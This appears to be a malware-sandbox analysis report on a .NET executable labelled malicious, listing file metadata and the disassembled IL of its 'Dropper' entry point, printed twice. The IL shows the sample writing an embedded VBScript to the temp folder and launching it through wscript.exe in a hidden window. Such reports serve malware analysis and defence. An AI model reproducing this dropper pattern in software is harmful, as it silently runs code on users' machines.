Malicious
Malicious

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PE Executable
MD5:
Size: 0 B
application/x-dosexec
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File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very low
3 malicious · 5 files
EXE53c64a9d1b6a2f6f871830424454ba0c
Structure
BIN.Net Resources
VBS69763daebbd3e.vbs
VBS69763daebbd3e.vbs.deobfuscated.vbs
Name Value
Module Name
69763daebbd3e.exe
Full Name
69763daebbd3e.exe
EntryPoint
System.Void Dropper.Program::Main(System.String[])
Scope Name
69763daebbd3e.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
69763daebbd3e
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
4
Main Method
System.Void Dropper.Program::Main(System.String[])
Main IL Instruction Count
96
Main IL 
nop <null>
nop <null>
ldstr 69763daebbd3e.vbs
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
stloc.1 <null>
ldloc.1 <null>
ldloc.0 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.2 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.0 <null>
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.3 <null>
nop <null>
ldloc.3 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brtrue.s IL_0035: ldloc.2
leave IL_00D9: nop
ldloc.2 <null>
ldc.i4.2 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stloc.s V_4
nop <null>
ldloc.3 <null>
ldloc.s V_4
callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream)
nop <null>
nop <null>
leave.s IL_005F: nop
ldloc.s V_4
ldnull <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brtrue.s IL_005E: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
leave.s IL_0075: nop
ldloc.3 <null>
ldnull <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brtrue.s IL_0074: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
newobj System.Void System.Diagnostics.Process::.ctor()
stloc.s V_5
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldstr wscript.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
nop <null>
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldstr "
ldloc.2 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
nop <null>
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
nop <null>
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
nop <null>
ldloc.s V_5
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
nop <null>
leave.s IL_00D8: nop
pop <null>
nop <null>
nop <null>
leave.s IL_00D8: nop
nop <null>
nop <null>
ret <null>
Module Name
69763daebbd3e.exe
Full Name
69763daebbd3e.exe
EntryPoint
System.Void Dropper.Program::Main(System.String[])
Scope Name
69763daebbd3e.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
69763daebbd3e
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
4
Main Method
System.Void Dropper.Program::Main(System.String[])
Main IL Instruction Count
96
Main IL 
nop <null>
nop <null>
ldstr 69763daebbd3e.vbs
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
stloc.1 <null>
ldloc.1 <null>
ldloc.0 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.2 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.0 <null>
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.3 <null>
nop <null>
ldloc.3 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brtrue.s IL_0035: ldloc.2
leave IL_00D9: nop
ldloc.2 <null>
ldc.i4.2 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stloc.s V_4
nop <null>
ldloc.3 <null>
ldloc.s V_4
callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream)
nop <null>
nop <null>
leave.s IL_005F: nop
ldloc.s V_4
ldnull <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brtrue.s IL_005E: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
leave.s IL_0075: nop
ldloc.3 <null>
ldnull <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brtrue.s IL_0074: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
newobj System.Void System.Diagnostics.Process::.ctor()
stloc.s V_5
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldstr wscript.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
nop <null>
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldstr "
ldloc.2 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
nop <null>
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
nop <null>
ldloc.s V_5
callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process::get_StartInfo()
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
nop <null>
ldloc.s V_5
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
nop <null>
leave.s IL_00D8: nop
pop <null>
nop <null>
nop <null>
leave.s IL_00D8: nop
nop <null>
nop <null>
ret <null>
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